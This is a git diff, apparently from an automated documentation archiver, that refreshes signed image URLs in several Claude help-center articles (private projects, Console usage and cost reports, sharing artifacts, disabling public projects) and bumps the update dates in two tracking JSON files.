-![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370987/5d5db997e6b42e627ffa62fddf75/4823906b-9535-4a19-b89e-a1003f1e6e68?expires=1789501500&signature=65d747dc8ea02d676fb45081f0eff883fcace3204247f8f0878675057a6335da&req=dScjFsp5nYhXXvMW1HO4zUiDoiDygQcsE8Kp5wh0MSD%2BKew%2BfLzkwxCoM%2BE%2F%0AhOrCnpQM3o0LfYKGRXg%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370987/5d5db997e6b42e627ffa62fddf75/4823906b-9535-4a19-b89e-a1003f1e6e68?expires=1789538400&signature=ddd80a67983a400f6277f8e3c78a5d89bf3eeafbb2e5d30e9de2919155c3d262&req=dScjFsp5nYhXXvMW1HO4zUiDoiDygg4tE8Kp5wh0MSACXaXS%2FvV892PTSKku%0ApCw4x1n28gUQNO7DsZ4%3D%0A) Click “Everyone at [your organization]” under **General access** and select “Only people invited” to change the project from public to private: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370988/386407facbf3e73d2f5538623a18/69d8ffcd-e1ca-470f-a219-5b88704e41f2?expires=1789501500&signature=b8c2a52e9b55c156523c20658b2ada5fc1c06ecf860995bbc94e6dc39f685450&req=dScjFsp5nYhXUfMW1HO4zckCIftnYiOhl3XeGelDRW3%2BTVZVUcMo1k7kLbU8%0A4JlxJqadvhGG6C3AzLI%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370988/386407facbf3e73d2f5538623a18/69d8ffcd-e1ca-470f-a219-5b88704e41f2?expires=1789538400&signature=3618f321be5adc0020ba1eba66f6495f529973ae56e5f605ebb13fd434c7b27c&req=dScjFsp5nYhXUfMW1HO4zckCIftnYSqgl3XeGelDRW35CHCRBG6A4pj3Y63q%0AfzypR%2FQfcPNNX4jZdpY%3D%0A) ## What are private projects? @@ -36,11 +36,11 @@ Choosing “Only people invited” keeps your project private so that you are th Yes, you can switch the visibility of a project you created as private to public at any time by opening the project and clicking the “Share” button to the right of the project name: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370989/f829dcd8bdd88e944322f678323f/9d25eff1-6df3-40be-82eb-ba7fe09187e8?expires=1789501500&signature=b2d4cfb518e415a28f4a72fc82dd8ca9b468a1c4e2517ad34b2edcc1ccdc0fe4&req=dScjFsp5nYhXUPMW1HO4zaSEGlqZSrkI2JrJefVtywmhGEkOw5COvbte5SsL%0AhhtDrwJGOGPTrtHf1Yo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370989/f829dcd8bdd88e944322f678323f/9d25eff1-6df3-40be-82eb-ba7fe09187e8?expires=1789538400&signature=d897331b4904af51b53ac2fb1b52aa994c281db5e80d23db8e4264a89b3b8b1a&req=dScjFsp5nYhXUPMW1HO4zaSEGlqZSbAJ2JrJefVtywmOwTMK4FneYoFqO6ww%0AIscQOSTSxC%2FobaUu0Dk%3D%0A) Click “Only people invited” under General access and select “Everyone at [your organization]” to change the project from private to public: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370990/d173fbc6f030780d30c6d7b8e204/7e47b9d1-89fe-4607-8b5b-f7b06e7ad0d6?expires=1789501500&signature=a9abf967acb4ea44849ebb2723b6f33eafed8d1dd86e2b30a8a7be9e56d86243&req=dScjFsp5nYhWWfMW1HO4zT7Q08G%2BvQ0TAmYRPrgMBZlBA9Z3rZHJhZ%2FjkSg7%0AhzdTUny8QCyO4U5P4zk%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370990/d173fbc6f030780d30c6d7b8e204/7e47b9d1-89fe-4607-8b5b-f7b06e7ad0d6?expires=1789538400&signature=ef059ade110a1d00b201905406430916574757d762b3343b65cf28eb3da9704d&req=dScjFsp5nYhWWfMW1HO4zT7Q08G%2BvgQSAmYRPrgMBZmfSmtRyXQHGnfxpsqa%0A4sTDiBdobppk2K%2BumZs%3D%0A) ## Add and remove access to private projects diff --git a/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md b/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md index 6170f0eee2..1e1834bf7c 100644 --- a/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md +++ b/content/support/9534590-cost-and-usage-reporting-in-the-claude-console.md @@ -8,7 +8,7 @@ The Claude Console provides detailed cost and usage reporting to help you effect Users with access to these reports can click into them on the left navigation menu on the Console: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584654217/db0a977417e38e43639f060d96e0/image.png?expires=1789501500&signature=d6d8ca2c72c06a6277690063eaf068263f371ae82152697495a3fe6f6cd20ac7&req=dSUvEs97mYNeXvMW1HO4zYCWiS0dgcefuqqBX2puyxRNap1VvRMk618NocB2%0AFxOA8wzZq8An2O7AkdY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584654217/db0a977417e38e43639f060d96e0/image.png?expires=1789538400&signature=195d7bd92ef9b0277c99f073c49f81377b20d07f0e8b90c8fdd1e1c44574ef05&req=dSUvEs97mYNeXvMW1HO4zYCWiS0dgs6euqqBX2puyxRLUXsNekeV9YKUpDgH%0AllQXA%2Bo6IrScGdKAces%3D%0A) --- @@ -46,9 +46,9 @@ The [Usage page](https://platform.claude.com/usage) offers a detailed breakdown 6. Use the export button to download a CSV of the displayed data. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584664321/59b50eba0b61e0789f7055fcf9f4/image+%285%29.png?expires=1789501500&signature=383abd0282eb5a8c65034fecfd9e2d39d24bbc600b4ca7a50adf1672c53a11c7&req=dSUvEs94mYJdWPMW1HO4zQwER3ovIY5jqMITUZbanFCppik%2FuxkKkg%2F02MTa%0AffIATCI5RJKWcCiWzFo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584664321/59b50eba0b61e0789f7055fcf9f4/image+%285%29.png?expires=1789538400&signature=06f461bf5f6de72ad5b0c8f2ca58fbee6334a416233bac10b35af23e08487966&req=dSUvEs94mYJdWPMW1HO4zQwER3ovIodiqMITUZbanFCCHuj9HQg52H0l7CY6%0AAQwt1otgAZAMHEEcVbw%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584693386/aed472efe163abcbc14fa32f3699/rate+limited+requests.png?expires=1789501500&signature=d176f8112c02006a25b53851077de20832188338133acb4094bb9ea946ff61cc&req=dSUvEs93noJXX%2FMW1HO4zRxEwWJI5lBp21D6pckxWMZQ7ORWYGWarlXIE3c1%0A1pRMk8wSqDdhEWe1UXg%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584693386/aed472efe163abcbc14fa32f3699/rate+limited+requests.png?expires=1789538400&signature=869e8808bf989afb4e10d974521c2f9788502cd2e6635f61a91801b1405a55b7&req=dSUvEs93noJXX%2FMW1HO4zRxEwWJI5Vlo21D6pckxWMYr%2Fr7SYUvNvVDvZ9On%0Aemb5x8fShMeeyLjZtTU%3D%0A) ### Rate Limit Use @@ -88,6 +88,6 @@ The [Cost page](https://platform.claude.com/cost) helps you understand your spen 5. Use the export button to download a CSV of the cost data. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584679401/4d0bc8ed08625e1adee414e77030/CleanShot+2025-06-23+at+08_54_40%402x.png?expires=1789501500&signature=50c8e4990edddf2dcf571bde637b0753c21bd9ae64ffaee1f27db3e65daf5a89&req=dSUvEs95lIVfWPMW1HO4zUR%2Bh5XGU9FkCyIF5nuUsbw%2FojugNTYC%2FZV15zu%2F%0AbL2TUkJelNNsAGejMuI%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1584679401/4d0bc8ed08625e1adee414e77030/CleanShot+2025-06-23+at+08_54_40%402x.png?expires=1789538400&signature=0d98b4e39080fb733eab0071acdd1e79f6c7e00b0afc24770b197558448ebf52&req=dSUvEs95lIVfWPMW1HO4zUR%2Bh5XGUNhlCyIF5nuUsbzGma2PY11tofRPb0Ga%0AThFyXpNclpX6fNE36MM%3D%0A) **Note**: Currently, it's not possible to break down usage or cost by individual users. \ No newline at end of file diff --git a/content/support/9547008-publish-and-share-artifacts.md b/content/support/9547008-publish-and-share-artifacts.md index 433e296dfe..3e4a71a632 100644 --- a/content/support/9547008-publish-and-share-artifacts.md +++ b/content/support/9547008-publish-and-share-artifacts.md @@ -56,11 +56,11 @@ Publishing also adds the artifact to the **[Artifacts](https://claude.ai/artifac After publishing, you'll see a “Get embed code” button. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951684960/0cd917c4455b31e86b70a97f8234/image.png?expires=1789501500&signature=95f33967ff4e77fecf086ec4998416f040a59493c2ecf022032cd50d1378275a&req=dSkiF892mYhZWfMW1HO4zdcpD19X5QKER8xgMH3ra8hVCcF7BocmyqYQiDlY%0As7ftgPKrF4fOwYjvm3w%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951684960/0cd917c4455b31e86b70a97f8234/image.png?expires=1789538400&signature=92c6d3b9eae91ce890c69d544491cd8fabcbc63374e97a37d86d1c72410ec619&req=dSkiF892mYhZWfMW1HO4zdcpD19X5guFR8xgMH3ra8j%2Fev6Af4O%2FKlNzl0FB%0AYykCXSt0mcuI48cRmuw%3D%0A) Click it to open a modal with automatically generated code you can copy and paste to embed your artifact on another website. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951685860/6bf1aa2c57d6ff95804797779e9c/image.png?expires=1789501500&signature=3bd89e69910b061d0ab37d74790dd6012055804115f926b86440cd1b9602df4f&req=dSkiF892mIlZWfMW1HO4zcqH79CGyYVof3CUbx4Ru6UlxVJXrgL9qb8hk2ha%0AM3WZOgndM%2BGOp6hmbbk%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951685860/6bf1aa2c57d6ff95804797779e9c/image.png?expires=1789538400&signature=02841c3ee2f273f3ee8554edcdb0a7969e4532216071b7e68a4fd5b580727eed&req=dSkiF892mIlZWfMW1HO4zcqH79CGyoxpf3CUbx4Ru6WTIXjLcZT0KkS6E%2Fgy%0ANmu%2B8eHuuTMgJappmzg%3D%0A) You must specify which websites can embed your artifact by entering URLs in the **Allowed domains** field, separated by commas. @@ -116,7 +116,7 @@ Artifacts created on Team or Enterprise accounts can only be shared within your 4. Click “Share & copy link” to make this version shareable. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951680160/d5a38784df4c6d0cc55eda339279/Screenshot%2B2025-10-28%2Bat%2B2_00_15-E2-80-AFPM.png?expires=1789501500&signature=386268c8831c4aa3fde62387e6f28ea56aa79d5ebb236bbb8e9ed48221f7386b&req=dSkiF892nYBZWfMW1HO4zbvYOljgLXiWK6hAzMpXfmMgD8OlevTLLdzO8sUz%0AmjIdFpJAJewVhkFTEeE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951680160/d5a38784df4c6d0cc55eda339279/Screenshot%2B2025-10-28%2Bat%2B2_00_15-E2-80-AFPM.png?expires=1789538400&signature=fbe55dc1f916aea1ed208a3cf9ae8643543394d31ce6779193ebb2c3bf501b95&req=dSkiF892nYBZWfMW1HO4zbvYOljgLnGXK6hAzMpXfmMTARwoPTPumy%2BpNwrc%0AtYt9f27fS6MW4mq%2BJLQ%3D%0A) ### Who can access shared artifacts @@ -138,7 +138,7 @@ When you share an artifact, viewers also gain access to any attachments and file 2. In the **Artifact shared** modal, click “Unshare.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951676927/c66153a2c075c6a64404306aefd0/Screenshot%2B2025-10-28%2Bat%2B1_58_24-E2-80-AFPM.png?expires=1789501500&signature=80ac497bef4d0d4d8440677b66fd1f09467d1ad1c2574917dce789e1e076c91f&req=dSkiF895m4hdXvMW1HO4zW9EwgC4%2BXW2gj8mTHivCKauual%2F3kIq7BGiTBht%0AlkrkLinnihPOnklZeSo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1951676927/c66153a2c075c6a64404306aefd0/Screenshot%2B2025-10-28%2Bat%2B1_58_24-E2-80-AFPM.png?expires=1789538400&signature=06aee1e8083650616a63b4c95bc3b3793dc4f5c6f4a8c148119c159ef6fdd3ef&req=dSkiF895m4hdXvMW1HO4zW9EwgC4%2Bny3gj8mTHivCKYdzVHkQAFAWP7Pm%2FP%2B%0AZe4cCunlcHz0f8hKkLQ%3D%0A) --- diff --git a/content/support/9927533-disable-public-projects-for-your-organization.md b/content/support/9927533-disable-public-projects-for-your-organization.md index aaff78ed9a..03cc06d612 100644 --- a/content/support/9927533-disable-public-projects-for-your-organization.md +++ b/content/support/9927533-disable-public-projects-for-your-organization.md @@ -10,7 +10,7 @@ Follow these steps: 2. Find **Public projects** and toggle it off -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2053902291/8c39d1a79dedc97411eed54dec5c/CleanShot+2026-02-11+at+11_25_34%402x.png?expires=1789501500&signature=84fec15e26fbbd2becfb800c34c1bf2ce6425e20dba6db8fe1eb618bc2b34be0&req=diAiFcB%2Bn4NWWPMW1HO4zfGib26hawFaYabJlVJ9VPwgs%2FrFcJBWuZL0oc45%0A%2FLKlE%2B4QvxzZoKVVqzE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2053902291/8c39d1a79dedc97411eed54dec5c/CleanShot+2026-02-11+at+11_25_34%402x.png?expires=1789538400&signature=302ff8dae522928f2db5f0831dcdaf7234b8932ce27d118fba63262fc2656d5e&req=diAiFcB%2Bn4NWWPMW1HO4zfGib26haAhbYabJlVJ9VPz4HqQrHlfoXFmeHA59%0AOXh0%2FmiyV6l%2Fw7A%2F5zc%3D%0A) ## How does disabling public projects work? diff --git a/discovery.json b/discovery.json index fd1840be9b..91d191fb41 100644 --- a/discovery.json +++ b/discovery.json @@ -1,7 +1,7 @@ { "version": 1, "note": "What the last full run could see outside sources.json. Written by the fetcher so a new source arrives as a diff a human reviews, not as a line in an Actions log nobody reads. Stable facts only: a change here is always news. `review` is the actionable list \u2014 domains we could archive today and do not.", - "updated": "2026-09-15", + "updated": "2026-09-16", "domains": { "anthropic.com": { "status": "frozen", diff --git a/tombstones.json b/tombstones.json index 6f1c95fa23..6881ece6bc 100644 --- a/tombstones.json +++ b/tombstones.json @@ -1,7 +1,7 @@ { "version": 1, "note": "URLs confirmed gone upstream. Kept so a page that died once does not report as a fresh failure on every later run, which would bury the failure that is actually new. An entry clears itself if the URL answers again -- but only while something still probes it. Entries whose local file was removed are no longer fetched, so they stay as a record of the restructure rather than a live check.", - "updated": "2026-09-15", + "updated": "2026-09-16", "urls": { "https://claude.com/docs/claude-science/annotations": { "since": "2026-09-01",